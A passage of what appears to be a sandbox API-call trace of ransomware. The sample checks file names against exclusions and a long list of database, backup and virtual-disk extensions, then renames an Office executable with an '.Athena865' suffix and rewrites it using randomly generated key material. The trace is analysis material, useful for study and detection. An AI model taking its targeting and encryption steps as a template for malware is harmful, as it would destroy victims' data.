lstrcmpiW (lpString1="GROOVE.EXE", lpString2="ntuser.dat") returned -1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="perflogs") returned -1 [0072.183] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="MSBuild") returned -1 [0072.183] lstrlenW (lpString="GROOVE.EXE") returned 10 [0072.183] lstrcpyW (in: lpString1=0x241e89e, lpString2="GROOVE.EXE" | out: lpString1="GROOVE.EXE") returned="GROOVE.EXE" [0072.183] lstrlenW (lpString="GROOVE.EXE") returned 10 [0072.183] lstrlenW (lpString="Athena865") returned 9 [0072.183] lstrcmpiW (lpString1="ROOVE.EXE", lpString2="Athena865") returned 1 [0072.183] lstrlenW (lpString=".dll") returned 4 [0072.183] lstrcmpiW (lpString1="GROOVE.EXE", lpString2=".dll") returned 1 [0072.183] lstrlenW (lpString=".lnk") returned 4 [0072.183] lstrcmpiW (lpString1="GROOVE.EXE", lpString2=".lnk") returned 1 [0072.183] lstrlenW (lpString=".ini") returned 4 [0072.183] lstrcmpiW (lpString1="GROOVE.EXE", lpString2=".ini") returned 1 [0072.183] lstrlenW (lpString=".sys") returned 4 [0072.183] lstrcmpiW (lpString1="GROOVE.EXE", lpString2=".sys") returned 1 [0072.183] lstrlenW (lpString="GROOVE.EXE") returned 10 [0072.183] lstrlenW (lpString="bak") returned 3 [0072.183] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0072.183] lstrlenW (lpString="ba_") returned 3 [0072.183] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0072.183] lstrlenW (lpString="dbb") returned 3 [0072.183] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0072.183] lstrlenW (lpString="vmdk") returned 4 [0072.183] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0072.183] lstrlenW (lpString="rar") returned 3 [0072.183] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0072.183] lstrlenW (lpString="zip") returned 3 [0072.183] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0072.183] lstrlenW (lpString="tgz") returned 3 [0072.183] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0072.183] lstrlenW (lpString="vbox") returned 4 [0072.183] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0072.183] lstrlenW (lpString="vdi") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0072.184] lstrlenW (lpString="vhd") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0072.184] lstrlenW (lpString="vhdx") returned 4 [0072.184] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0072.184] lstrlenW (lpString="avhd") returned 4 [0072.184] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0072.184] lstrlenW (lpString="db") returned 2 [0072.184] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0072.184] lstrlenW (lpString="db2") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0072.184] lstrlenW (lpString="db3") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0072.184] lstrlenW (lpString="dbf") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0072.184] lstrlenW (lpString="mdf") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0072.184] lstrlenW (lpString="mdb") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0072.184] lstrlenW (lpString="sql") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0072.184] lstrlenW (lpString="sqlite") returned 6 [0072.184] lstrcmpiW (lpString1="VE.EXE", lpString2="sqlite") returned 1 [0072.184] lstrlenW (lpString="sqlite3") returned 7 [0072.184] lstrcmpiW (lpString1="OVE.EXE", lpString2="sqlite3") returned -1 [0072.184] lstrlenW (lpString="sqlitedb") returned 8 [0072.184] lstrcmpiW (lpString1="OOVE.EXE", lpString2="sqlitedb") returned -1 [0072.184] lstrlenW (lpString="xml") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0072.184] lstrlenW (lpString="$er") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0072.184] lstrlenW (lpString="4dd") returned 3 [0072.184] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0072.185] lstrlenW (lpString="4dl") returned 3 [0072.185] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0072.185] lstrlenW (lpString="^^^") returned 3 [0072.185] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0072.185] lstrlenW (lpString="abs") returned 3 [0072.185] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0072.185] lstrlenW (lpString="abx") returned 3 [0072.185] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0072.185] lstrlenW (lpString="accdb") returned 5 [0072.185] lstrcmpiW (lpString1="E.EXE", lpString2="accdb") returned 1 [0072.185] lstrlenW (lpString="accdc") returned 5 [0072.185] lstrcmpiW (lpString1="E.EXE", lpString2="accdc") returned 1 [0072.185] lstrlenW (lpString="accde") returned 5 [0072.185] lstrcmpiW (lpString1="E.EXE", lpString2="accde") returned 1 [0072.185] lstrlenW (lpString="accdr") returned 5 [0072.185] lstrcmpiW (lpString1="E.EXE", lpString2="accdr") returned 1 [0072.185] lstrlenW (lpString="accdt") returned 5 [0072.185] lstrcmpiW (lpString1="E.EXE", lpString2="accdt") returned 1 [0072.185] lstrlenW (lpString="accdw") returned 5 [0072.185] lstrcmpiW (lpString1="E.EXE", lpString2="accdw") returned 1 [0072.185] lstrlenW (lpString="accft") returned 5 [0072.185] lstrcmpiW (lpString1="E.EXE", lpString2="accft") returned 1 [0072.185] lstrlenW (lpString="adb") returned 3 [0072.185] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0072.185] lstrlenW (lpString="adb") returned 3 [0072.185] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0072.185] lstrlenW (lpString="ade") returned 3 [0072.185] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0072.185] lstrlenW (lpString="adf") returned 3 [0072.185] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0072.185] lstrlenW (lpString="adn") returned 3 [0072.185] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0072.185] lstrlenW (lpString="adp") returned 3 [0072.185] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0072.185] lstrlenW (lpString="alf") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0072.186] lstrlenW (lpString="ask") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0072.186] lstrlenW (lpString="btr") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0072.186] lstrlenW (lpString="cat") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0072.186] lstrlenW (lpString="cdb") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0072.186] lstrlenW (lpString="ckp") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0072.186] lstrlenW (lpString="cma") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0072.186] lstrlenW (lpString="cpd") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0072.186] lstrlenW (lpString="dacpac") returned 6 [0072.186] lstrcmpiW (lpString1="VE.EXE", lpString2="dacpac") returned 1 [0072.186] lstrlenW (lpString="dad") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0072.186] lstrlenW (lpString="dadiagrams") returned 10 [0072.186] lstrlenW (lpString="daschema") returned 8 [0072.186] lstrcmpiW (lpString1="OOVE.EXE", lpString2="daschema") returned 1 [0072.186] lstrlenW (lpString="db-journal") returned 10 [0072.186] lstrlenW (lpString="db-shm") returned 6 [0072.186] lstrcmpiW (lpString1="VE.EXE", lpString2="db-shm") returned 1 [0072.186] lstrlenW (lpString="db-wal") returned 6 [0072.186] lstrcmpiW (lpString1="VE.EXE", lpString2="db-wal") returned 1 [0072.186] lstrlenW (lpString="dbc") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0072.186] lstrlenW (lpString="dbs") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0072.186] lstrlenW (lpString="dbt") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0072.186] lstrlenW (lpString="dbv") returned 3 [0072.186] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0072.186] lstrlenW (lpString="dbx") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0072.187] lstrlenW (lpString="dcb") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0072.187] lstrlenW (lpString="dct") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0072.187] lstrlenW (lpString="dcx") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0072.187] lstrlenW (lpString="ddl") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0072.187] lstrlenW (lpString="dlis") returned 4 [0072.187] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0072.187] lstrlenW (lpString="dp1") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0072.187] lstrlenW (lpString="dqy") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0072.187] lstrlenW (lpString="dsk") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0072.187] lstrlenW (lpString="dsn") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0072.187] lstrlenW (lpString="dtsx") returned 4 [0072.187] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0072.187] lstrlenW (lpString="dxl") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0072.187] lstrlenW (lpString="eco") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0072.187] lstrlenW (lpString="ecx") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0072.187] lstrlenW (lpString="edb") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0072.187] lstrlenW (lpString="epim") returned 4 [0072.187] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0072.187] lstrlenW (lpString="fcd") returned 3 [0072.187] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0072.187] lstrlenW (lpString="fdb") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0072.188] lstrlenW (lpString="fic") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0072.188] lstrlenW (lpString="flexolibrary") returned 12 [0072.188] lstrlenW (lpString="fm5") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0072.188] lstrlenW (lpString="fmp") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0072.188] lstrlenW (lpString="fmp12") returned 5 [0072.188] lstrcmpiW (lpString1="E.EXE", lpString2="fmp12") returned -1 [0072.188] lstrlenW (lpString="fmpsl") returned 5 [0072.188] lstrcmpiW (lpString1="E.EXE", lpString2="fmpsl") returned -1 [0072.188] lstrlenW (lpString="fol") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0072.188] lstrlenW (lpString="fp3") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0072.188] lstrlenW (lpString="fp4") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0072.188] lstrlenW (lpString="fp5") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0072.188] lstrlenW (lpString="fp7") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0072.188] lstrlenW (lpString="fpt") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0072.188] lstrlenW (lpString="frm") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0072.188] lstrlenW (lpString="gdb") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0072.188] lstrlenW (lpString="gdb") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0072.188] lstrlenW (lpString="grdb") returned 4 [0072.188] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0072.188] lstrlenW (lpString="gwi") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0072.188] lstrlenW (lpString="hdb") returned 3 [0072.188] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0072.189] lstrlenW (lpString="his") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0072.189] lstrlenW (lpString="ib") returned 2 [0072.189] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0072.189] lstrlenW (lpString="idb") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0072.189] lstrlenW (lpString="ihx") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0072.189] lstrlenW (lpString="itdb") returned 4 [0072.189] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0072.189] lstrlenW (lpString="itw") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0072.189] lstrlenW (lpString="jet") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0072.189] lstrlenW (lpString="jtx") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0072.189] lstrlenW (lpString="kdb") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0072.189] lstrlenW (lpString="kexi") returned 4 [0072.189] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0072.189] lstrlenW (lpString="kexic") returned 5 [0072.189] lstrcmpiW (lpString1="E.EXE", lpString2="kexic") returned -1 [0072.189] lstrlenW (lpString="kexis") returned 5 [0072.189] lstrcmpiW (lpString1="E.EXE", lpString2="kexis") returned -1 [0072.189] lstrlenW (lpString="lgc") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0072.189] lstrlenW (lpString="lwx") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0072.189] lstrlenW (lpString="maf") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0072.189] lstrlenW (lpString="maq") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0072.189] lstrlenW (lpString="mar") returned 3 [0072.189] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0072.189] lstrlenW (lpString="marshal") returned 7 [0072.190] lstrcmpiW (lpString1="OVE.EXE", lpString2="marshal") returned 1 [0072.190] lstrlenW (lpString="mas") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0072.190] lstrlenW (lpString="mav") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0072.190] lstrlenW (lpString="maw") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0072.190] lstrlenW (lpString="mdbhtml") returned 7 [0072.190] lstrcmpiW (lpString1="OVE.EXE", lpString2="mdbhtml") returned 1 [0072.190] lstrlenW (lpString="mdn") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0072.190] lstrlenW (lpString="mdt") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0072.190] lstrlenW (lpString="mfd") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0072.190] lstrlenW (lpString="mpd") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0072.190] lstrlenW (lpString="mrg") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0072.190] lstrlenW (lpString="mud") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0072.190] lstrlenW (lpString="mwb") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0072.190] lstrlenW (lpString="myd") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0072.190] lstrlenW (lpString="ndf") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0072.190] lstrlenW (lpString="nnt") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0072.190] lstrlenW (lpString="nrmlib") returned 6 [0072.190] lstrcmpiW (lpString1="VE.EXE", lpString2="nrmlib") returned 1 [0072.190] lstrlenW (lpString="ns2") returned 3 [0072.190] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0072.191] lstrlenW (lpString="ns3") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0072.191] lstrlenW (lpString="ns4") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0072.191] lstrlenW (lpString="nsf") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0072.191] lstrlenW (lpString="nv") returned 2 [0072.191] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0072.191] lstrlenW (lpString="nv2") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0072.191] lstrlenW (lpString="nwdb") returned 4 [0072.191] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0072.191] lstrlenW (lpString="nyf") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0072.191] lstrlenW (lpString="odb") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0072.191] lstrlenW (lpString="odb") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0072.191] lstrlenW (lpString="oqy") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0072.191] lstrlenW (lpString="ora") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0072.191] lstrlenW (lpString="orx") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0072.191] lstrlenW (lpString="owc") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0072.191] lstrlenW (lpString="p96") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0072.191] lstrlenW (lpString="p97") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0072.191] lstrlenW (lpString="pan") returned 3 [0072.191] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0072.192] lstrlenW (lpString="pdb") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0072.192] lstrlenW (lpString="pdm") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0072.192] lstrlenW (lpString="pnz") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0072.192] lstrlenW (lpString="qry") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0072.192] lstrlenW (lpString="qvd") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0072.192] lstrlenW (lpString="rbf") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0072.192] lstrlenW (lpString="rctd") returned 4 [0072.192] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0072.192] lstrlenW (lpString="rod") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0072.192] lstrlenW (lpString="rodx") returned 4 [0072.192] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0072.192] lstrlenW (lpString="rpd") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0072.192] lstrlenW (lpString="rsd") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0072.192] lstrlenW (lpString="sas7bdat") returned 8 [0072.192] lstrcmpiW (lpString1="OOVE.EXE", lpString2="sas7bdat") returned -1 [0072.192] lstrlenW (lpString="sbf") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0072.192] lstrlenW (lpString="scx") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0072.192] lstrlenW (lpString="sdb") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0072.192] lstrlenW (lpString="sdc") returned 3 [0072.192] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0072.192] lstrlenW (lpString="sdf") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0072.193] lstrlenW (lpString="sis") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0072.193] lstrlenW (lpString="spq") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0072.193] lstrlenW (lpString="te") returned 2 [0072.193] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0072.193] lstrlenW (lpString="teacher") returned 7 [0072.193] lstrcmpiW (lpString1="OVE.EXE", lpString2="teacher") returned -1 [0072.193] lstrlenW (lpString="tmd") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0072.193] lstrlenW (lpString="tps") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0072.193] lstrlenW (lpString="trc") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0072.193] lstrlenW (lpString="trc") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0072.193] lstrlenW (lpString="trm") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0072.193] lstrlenW (lpString="udb") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0072.193] lstrlenW (lpString="udl") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0072.193] lstrlenW (lpString="usr") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0072.193] lstrlenW (lpString="v12") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0072.193] lstrlenW (lpString="vis") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0072.193] lstrlenW (lpString="vpd") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0072.193] lstrlenW (lpString="vvv") returned 3 [0072.193] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0072.194] lstrlenW (lpString="wdb") returned 3 [0072.194] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0072.194] lstrlenW (lpString="wmdb") returned 4 [0072.194] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0072.194] lstrlenW (lpString="wrk") returned 3 [0072.194] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0072.194] lstrlenW (lpString="xdb") returned 3 [0072.194] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0072.194] lstrlenW (lpString="xld") returned 3 [0072.194] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0072.194] lstrlenW (lpString="xmlff") returned 5 [0072.194] lstrcmpiW (lpString1="E.EXE", lpString2="xmlff") returned -1 [0072.194] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE.Athena865") returned 63 [0072.194] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe.athena865"), dwFlags=0x1) returned 1 [0072.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.195] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=51456888) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.195] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.196] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.196] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.196] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3112e80, lpName=0x0) returned 0x154 [0072.198] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x3000000, dwNumberOfBytesToMap=0x112e80) returned 0x2d50000 [0072.242] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0072.312] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0072.329] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.330] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.330] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0072.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0072.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0072.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0072.330] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0072.340] CloseHandle (hObject=0x154) returned 1 [0072.340] CloseHandle (hObject=0x17c) returned 1 [0072.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.349] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, 